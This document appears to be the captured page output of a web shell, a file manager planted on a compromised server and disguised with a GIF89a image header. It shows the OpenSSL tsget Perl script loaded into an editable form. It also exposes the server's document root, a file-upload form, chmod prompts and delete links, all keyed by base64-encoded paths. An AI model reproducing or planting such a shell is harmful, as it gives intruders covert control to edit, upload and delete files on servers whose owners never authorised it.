GIF89a
?
??????


			





   !!!"""###$$$%%%&&&'''((()))***+++,,,---...///000111222333444555666777888999:::;;;<<<===>>>???@@@AAABBBCCCDDDEEEFFFGGGHHHIIIJJJKKKLLLMMMNNNOOOPPPQQQRRRSSSTTTUUUVVVWWWXXXYYYZZZ[[[\\\]]]^^^___```aaabbbcccdddeeefffggghhhiiijjjkkklllmmmnnnooopppqqqrrrssstttuuuvvvwwwxxxyyyzzz{{{|||}}}~~~wnd[SJC;4.'"???!	???!Generated by onlineGIFtools.com?,????
?
????;
<hr>tsget<form method=post action="?d=L29wdC9vcGVuc3NsLTEuMS4xL3NzbC9taXNj&f=dHNnZXQ%3D"><input name="f" value="tsget"><textarea name="t">#!/usr/bin/env perl
# Copyright 2002-2018 The OpenSSL Project Authors. All Rights Reserved.
# Copyright (c) 2002 The OpenTSA Project. All rights reserved.
#
# Licensed under the OpenSSL license (the &quot;License&quot;).  You may not use
# this file except in compliance with the License.  You can obtain a copy
# in the file LICENSE in the source distribution or at
# https://www.openssl.org/source/license.html

use strict;
use IO::Handle;
use Getopt::Std;
use File::Basename;
use WWW::Curl::Easy;

use vars qw(%options);

# Callback for reading the body.
sub read_body {
    my ($maxlength, $state) = @_;
    my $return_data = &quot;&quot;;
    my $data_len = length ${$state-&gt;{data}};
    if ($state-&gt;{bytes} &lt; $data_len) {
	$data_len = $data_len - $state-&gt;{bytes};
	$data_len = $maxlength if $data_len &gt; $maxlength;
	$return_data = substr ${$state-&gt;{data}}, $state-&gt;{bytes}, $data_len;
	$state-&gt;{bytes} += $data_len;
    }
    return $return_data;
}

# Callback for writing the body into a variable.
sub write_body {
    my ($data, $pointer) = @_;
    ${$pointer} .= $data;
    return length($data);
}

# Initialise a new Curl object.
sub create_curl {
    my $url = shift;

    # Create Curl object.
    my $curl = WWW::Curl::Easy::new();

    # Error-handling related options.
    $curl-&gt;setopt(CURLOPT_VERBOSE, 1) if $options{d};
    $curl-&gt;setopt(CURLOPT_FAILONERROR, 1);
    $curl-&gt;setopt(CURLOPT_USERAGENT,
        &quot;OpenTSA tsget.pl/openssl-1.1.1w&quot;);

    # Options for POST method.
    $curl-&gt;setopt(CURLOPT_UPLOAD, 1);
    $curl-&gt;setopt(CURLOPT_CUSTOMREQUEST, &quot;POST&quot;);
    $curl-&gt;setopt(CURLOPT_HTTPHEADER,
		[&quot;Content-Type: application/timestamp-query&quot;,
		&quot;Accept: application/timestamp-reply,application/timestamp-response&quot;]);
    $curl-&gt;setopt(CURLOPT_READFUNCTION, \&amp;read_body);
    $curl-&gt;setopt(CURLOPT_HEADERFUNCTION, sub { return length($_[0]); });

    # Options for getting the result.
    $curl-&gt;setopt(CURLOPT_WRITEFUNCTION, \&amp;write_body);

    # SSL related options.
    $curl-&gt;setopt(CURLOPT_SSLKEYTYPE, &quot;PEM&quot;);
    $curl-&gt;setopt(CURLOPT_SSL_VERIFYPEER, 1);	# Verify server's certificate.
    $curl-&gt;setopt(CURLOPT_SSL_VERIFYHOST, 2);	# Check server's CN.
    $curl-&gt;setopt(CURLOPT_SSLKEY, $options{k}) if defined($options{k});
    $curl-&gt;setopt(CURLOPT_SSLKEYPASSWD, $options{p}) if defined($options{p});
    $curl-&gt;setopt(CURLOPT_SSLCERT, $options{c}) if defined($options{c});
    $curl-&gt;setopt(CURLOPT_CAINFO, $options{C}) if defined($options{C});
    $curl-&gt;setopt(CURLOPT_CAPATH, $options{P}) if defined($options{P});
    $curl-&gt;setopt(CURLOPT_RANDOM_FILE, $options{r}) if defined($options{r});
    $curl-&gt;setopt(CURLOPT_EGDSOCKET, $options{g}) if defined($options{g});

    # Setting destination.
    $curl-&gt;setopt(CURLOPT_URL, $url);

    return $curl;
}

# Send a request and returns the body back.
sub get_timestamp {
    my $curl = shift;
    my $body = shift;
    my $ts_body;
    local $::error_buf;

    # Error-handling related options.
    $curl-&gt;setopt(CURLOPT_ERRORBUFFER, &quot;::error_buf&quot;);

    # Options for POST method.
    $curl-&gt;setopt(CURLOPT_INFILE, {data =&gt; $body, bytes =&gt; 0});
    $curl-&gt;setopt(CURLOPT_INFILESIZE, length(${$body}));

    # Options for getting the result.
    $curl-&gt;setopt(CURLOPT_FILE, \$ts_body);

    # Send the request...
    my $error_code = $curl-&gt;perform();
    my $error_string;
    if ($error_code != 0) {
        my $http_code = $curl-&gt;getinfo(CURLINFO_HTTP_CODE);
	$error_string = &quot;could not get timestamp&quot;;
	$error_string .= &quot;, http code: $http_code&quot; unless $http_code == 0;
	$error_string .= &quot;, curl code: $error_code&quot;;
	$error_string .= &quot; ($::error_buf)&quot; if defined($::error_buf);
    } else {
        my $ct = $curl-&gt;getinfo(CURLINFO_CONTENT_TYPE);
	if (lc($ct) ne &quot;application/timestamp-reply&quot;
	    &amp;&amp; lc($ct) ne &quot;application/timestamp-response&quot;) {
	    $error_string = &quot;unexpected content type returned: $ct&quot;;
        }
    }
    return ($ts_body, $error_string);

}

# Print usage information and exists.
sub usage {

    print STDERR &quot;usage: $0 -h &lt;server_url&gt; [-e &lt;extension&gt;] [-o &lt;output&gt;] &quot;;
    print STDERR &quot;[-v] [-d] [-k &lt;private_key.pem&gt;] [-p &lt;key_password&gt;] &quot;;
    print STDERR &quot;[-c &lt;client_cert.pem&gt;] [-C &lt;CA_certs.pem&gt;] [-P &lt;CA_path&gt;] &quot;;
    print STDERR &quot;[-r &lt;file:file...&gt;] [-g &lt;EGD_socket&gt;] [&lt;request&gt;]...\n&quot;;
    exit 1;
}

# ----------------------------------------------------------------------
#   Main program
# ----------------------------------------------------------------------

# Getting command-line options (default comes from TSGET environment variable).
my $getopt_arg =  &quot;h:e:o:vdk:p:c:C:P:r:g:&quot;;
if (exists $ENV{TSGET}) {
    my @old_argv = @ARGV;
    @ARGV = split /\s+/, $ENV{TSGET};
    getopts($getopt_arg, \%options) or usage;
    @ARGV = @old_argv;
}
getopts($getopt_arg, \%options) or usage;

# Checking argument consistency.
if (!exists($options{h}) || (@ARGV == 0 &amp;&amp; !exists($options{o}))
    || (@ARGV &gt; 1 &amp;&amp; exists($options{o}))) {
    print STDERR &quot;Inconsistent command line options.\n&quot;;
    usage;
}
# Setting defaults.
@ARGV = (&quot;-&quot;) unless @ARGV != 0;
$options{e} = &quot;.tsr&quot; unless defined($options{e});

# Processing requests.
my $curl = create_curl $options{h};
undef $/;   # For reading whole files.
REQUEST: foreach (@ARGV) {
    my $input = $_;
    my ($base, $path) = fileparse($input, '\.[^.]*');
    my $output_base = $base . $options{e};
    my $output = defined($options{o}) ? $options{o} : $path . $output_base;

    STDERR-&gt;printflush(&quot;$input: &quot;) if $options{v};
    # Read request.
    my $body;
    if ($input eq &quot;-&quot;) {
	# Read the request from STDIN;
	$body = &lt;STDIN&gt;;
    } else {
	# Read the request from file.
        open INPUT, &quot;&lt;&quot; . $input
	    or warn(&quot;$input: could not open input file: $!\n&quot;), next REQUEST;
        $body = &lt;INPUT&gt;;
        close INPUT
	    or warn(&quot;$input: could not close input file: $!\n&quot;), next REQUEST;
    }

    # Send request.
    STDERR-&gt;printflush(&quot;sending request&quot;) if $options{v};

    my ($ts_body, $error) = get_timestamp $curl, \$body;
    if (defined($error)) {
	die &quot;$input: fatal error: $error\n&quot;;
    }
    STDERR-&gt;printflush(&quot;, reply received&quot;) if $options{v};

    # Write response.
    if ($output eq &quot;-&quot;) {
	# Write to STDOUT.
        print $ts_body;
    } else {
	# Write to file.
        open OUTPUT, &quot;&gt;&quot;, $output
	    or warn(&quot;$output: could not open output file: $!\n&quot;), next REQUEST;
        print OUTPUT $ts_body;
        close OUTPUT
	    or warn(&quot;$output: could not close output file: $!\n&quot;), next REQUEST;
    }
    STDERR-&gt;printflush(&quot;, $output written.\n&quot;) if $options{v};
}
$curl-&gt;cleanup();
</textarea><input type=submit value=update></form><hr>docroot: <a href="?d=L3Zhci93d3cvZTM1ZjUxNmEtZTYyOS00NWU1LThjMGYtMzg4OWYyMGEyNDkzL3B1YmxpY19odG1s">/var/www/e35f516a-e629-45e5-8c0f-3889f20a2493/public_html</a><hr>curdir: /opt/openssl-1.1.1/ssl/misc<form method="post" action="#" enctype="multipart/form-data"><input type="file" name="u"><input type="submit" value="UpL0ad"></form><table border=1><tr><td></td><td><a href="?d=L29wdC9vcGVuc3NsLTEuMS4xL3NzbC9taXNj"/>.</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9vcGVuc3NsLTEuMS4xL3NzbC9taXNj&f=Lg==&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td></td><td><a href="?d=L29wdC9vcGVuc3NsLTEuMS4xL3NzbA=="/>..</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9vcGVuc3NsLTEuMS4xL3NzbC9taXNj&f=Li4=&c=`+btoa(c):0" value="0755"></td><td>4096</td></tr><tr><td><a href="?d=L29wdC9vcGVuc3NsLTEuMS4xL3NzbC9taXNj&x=Q0EucGw=">X</a></td><td><a href="?d=L29wdC9vcGVuc3NsLTEuMS4xL3NzbC9taXNj&f=Q0EucGw="/>CA.pl</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9vcGVuc3NsLTEuMS4xL3NzbC9taXNj&f=Q0EucGw=&c=`+btoa(c):0" value="0755"></td><td>7598</td></tr><tr><td><a href="?d=L29wdC9vcGVuc3NsLTEuMS4xL3NzbC9taXNj&x=dHNnZXQ=">X</a></td><td><a href="?d=L29wdC9vcGVuc3NsLTEuMS4xL3NzbC9taXNj&f=dHNnZXQ="/>tsget</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9vcGVuc3NsLTEuMS4xL3NzbC9taXNj&f=dHNnZXQ=&c=`+btoa(c):0" value="0755"></td><td>6579</td></tr><tr><td><a href="?d=L29wdC9vcGVuc3NsLTEuMS4xL3NzbC9taXNj&x=dHNnZXQucGw=">X</a></td><td><a href="?d=L29wdC9vcGVuc3NsLTEuMS4xL3NzbC9taXNj&f=dHNnZXQucGw="/>tsget.pl</a></td><td><input type="button" onclick="c=prompt(`chmod:`,this.value),c?location.href=`?d=L29wdC9vcGVuc3NsLTEuMS4xL3NzbC9taXNj&f=dHNnZXQucGw=&c=`+btoa(c):0" value="0755"></td><td>6579</td></tr></table>